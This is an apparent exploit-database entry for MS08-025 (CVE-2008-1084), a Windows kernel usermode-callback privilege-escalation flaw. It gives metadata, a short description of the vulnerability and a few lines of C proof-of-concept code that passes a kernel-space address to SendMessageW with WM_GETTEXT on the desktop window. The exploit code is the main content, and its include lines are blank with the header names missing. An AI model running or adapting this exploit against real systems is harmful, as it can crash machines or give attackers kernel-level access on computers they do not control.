Microsoft Windows XP/Vista/2000/2003/2008 Kernel - Usermode Callback Privilege Escalation (MS08-025) (1)

Author: Whitecell
type: dos
platform: windows
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date_added: 2008-04-08 
date_updated: 2016-09-06 
verified: 1 
codes: CVE-2008-1084;OSVDB-44206;MS08-025 
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/*
source: https://www.securityfocus.com/bid/28554/info

Microsoft Windows is prone to a local privilege-escalation vulnerability.

The vulnerability resides in the Windows kernel. A locally logged-in user can exploit this issue to gain kernel-level access to the operating system.
*/


#include
#include

int main(int argc,char *argv[])
{
    DWORD    dwHookAddress = 0x80000000;

    printf( "\tMS08-025 Local Privilege Escalation Vulnerability Exploit(POC)\n\n" );
        printf( "Create by Whitecell's Polymorphours@whitecell.org 2008/04/10\n" );

    SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, dwHookAddress );
    return 0;
}